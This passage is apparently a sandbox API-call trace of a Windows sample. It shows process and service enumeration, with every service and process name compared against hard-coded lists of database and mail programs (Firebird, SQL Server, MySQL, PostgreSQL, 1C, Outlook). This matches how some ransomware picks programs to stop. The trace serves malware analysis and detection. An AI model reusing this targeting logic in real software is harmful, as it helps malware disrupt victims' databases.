lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.871] lstrlenW (lpString="dwm.exe") returned 7 [0255.871] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.872] lstrlenW (lpString="svchost.exe") returned 11 [0255.872] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0255.873] lstrlenW (lpString="driver.exe") returned 10 [0255.873] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.874] lstrlenW (lpString="spoolsv.exe") returned 11 [0255.875] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0255.876] lstrlenW (lpString="taskhost.exe") returned 12 [0255.876] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.877] lstrlenW (lpString="svchost.exe") returned 11 [0255.877] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0255.878] lstrlenW (lpString="reader_sl.exe") returned 13 [0255.878] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0255.879] lstrlenW (lpString="taskhost.exe") returned 12 [0255.879] Process32NextW (in: hSnapshot=0x304, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0255.881] CloseHandle (hObject=0x304) returned 1 [0255.881] Sleep (dwMilliseconds=0x1f4) [0256.754] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c32c0 [0257.444] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0257.445] GetLastError () returned 0xea [0257.445] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x4254088 [0257.445] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4254088, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4254088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0257.447] CloseServiceHandle (hSCObject=0x41c32c0) returned 1 [0257.447] lstrlenW (lpString="Appinfo") returned 7 [0257.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0257.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0257.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0257.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0257.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0257.448] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0257.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.448] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0257.448] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0257.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0257.448] lstrlenW (lpString="AudioSrv") returned 8 [0257.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0257.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0257.448] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0257.448] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0257.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0257.449] lstrlenW (lpString="BFE") returned 3 [0257.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0257.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0257.449] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0257.449] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0257.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0257.449] lstrlenW (lpString="CryptSvc") returned 8 [0257.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0257.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0257.449] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0257.449] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0257.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0257.449] lstrlenW (lpString="CscService") returned 10 [0257.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0257.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0257.450] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0257.450] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0257.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0257.450] lstrlenW (lpString="DcomLaunch") returned 10 [0257.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.450] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0257.450] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0257.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0257.450] lstrlenW (lpString="Dhcp") returned 4 [0257.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0257.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0257.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0257.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0257.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0257.451] lstrlenW (lpString="Dnscache") returned 8 [0257.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0257.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0257.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0257.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0257.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0257.451] lstrlenW (lpString="DPS") returned 3 [0257.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0257.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0257.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0257.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0257.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0257.452] lstrlenW (lpString="eventlog") returned 8 [0257.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0257.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0257.452] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0257.452] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0257.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0257.452] lstrlenW (lpString="EventSystem") returned 11 [0257.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0257.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0257.452] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0257.452] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0257.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0257.453] lstrlenW (lpString="gpsvc") returned 5 [0257.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0257.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0257.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0257.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0257.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0257.453] lstrlenW (lpString="iphlpsvc") returned 8 [0257.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0257.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0257.453] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0257.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0257.453] lstrlenW (lpString="LanmanServer") returned 12 [0257.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0257.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0257.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0257.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0257.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0257.454] lstrlenW (lpString="LanmanWorkstation") returned 17 [0257.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0257.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0257.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0257.454] lstrlenW (lpString="lmhosts") returned 7 [0257.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0257.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0257.455] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0257.455] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0257.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0257.456] lstrlenW (lpString="MMCSS") returned 5 [0257.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0257.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0257.456] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0257.456] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0257.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0257.456] lstrlenW (lpString="MpsSvc") returned 6 [0257.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0257.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0257.456] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0257.456] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0257.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0257.457] lstrlenW (lpString="Netman") returned 6 [0257.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0257.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0257.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0257.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0257.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0257.457] lstrlenW (lpString="netprofm") returned 8 [0257.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0257.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0257.457] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0257.457] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0257.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0257.457] lstrlenW (lpString="NlaSvc") returned 6 [0257.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0257.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0257.458] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0257.458] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0257.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0257.458] lstrlenW (lpString="nsi") returned 3 [0257.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0257.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0257.458] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0257.458] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0257.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0257.458] lstrlenW (lpString="PcaSvc") returned 6 [0257.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0257.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0257.459] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0257.459] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0257.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0257.459] lstrlenW (lpString="PlugPlay") returned 8 [0257.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0257.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0257.459] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0257.459] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0257.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0257.459] lstrlenW (lpString="Power") returned 5 [0257.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0257.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0257.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0257.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0257.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0257.460] lstrlenW (lpString="ProfSvc") returned 7 [0257.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0257.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0257.460] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0257.460] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0257.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0257.460] lstrlenW (lpString="RpcEptMapper") returned 12 [0257.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.460] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0257.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0257.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0257.461] lstrlenW (lpString="RpcSs") returned 5 [0257.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0257.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0257.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0257.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0257.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0257.461] lstrlenW (lpString="SamSs") returned 5 [0257.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0257.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0257.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0257.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0257.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0257.461] lstrlenW (lpString="Schedule") returned 8 [0257.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0257.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0257.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0257.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0257.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0257.462] lstrlenW (lpString="SENS") returned 4 [0257.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0257.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0257.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0257.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0257.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0257.462] lstrlenW (lpString="ShellHWDetection") returned 16 [0257.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.463] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0257.463] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0257.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0257.463] lstrlenW (lpString="Spooler") returned 7 [0257.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0257.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0257.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0257.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0257.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0257.464] lstrlenW (lpString="SysMain") returned 7 [0257.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0257.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0257.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0257.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0257.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0257.464] lstrlenW (lpString="Themes") returned 6 [0257.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0257.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0257.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0257.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0257.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0257.464] lstrlenW (lpString="TrkWks") returned 6 [0257.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0257.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0257.465] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0257.465] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0257.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0257.465] lstrlenW (lpString="UxSms") returned 5 [0257.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0257.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0257.465] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0257.465] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0257.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0257.465] lstrlenW (lpString="WdiServiceHost") returned 14 [0257.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0257.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0257.466] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0257.466] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0257.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0257.466] lstrlenW (lpString="WdiSystemHost") returned 13 [0257.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0257.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0257.466] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0257.466] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0257.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0257.466] lstrlenW (lpString="Winmgmt") returned 7 [0257.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0257.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0257.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0257.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0257.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0257.467] lstrlenW (lpString="WPDBusEnum") returned 10 [0257.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0257.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0257.467] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0257.467] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0257.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0257.467] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4254088 | out: hHeap=0x880000) returned 1 [0257.468] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0257.472] Process32FirstW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.473] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.474] lstrlenW (lpString="System") returned 6 [0257.474] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0257.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0257.474] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0257.474] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0257.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0257.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0257.475] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0257.475] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.476] lstrlenW (lpString="smss.exe") returned 8 [0257.476] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0257.476] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0257.476] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0257.476] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0257.476] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0257.476] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0257.476] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0257.477] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, 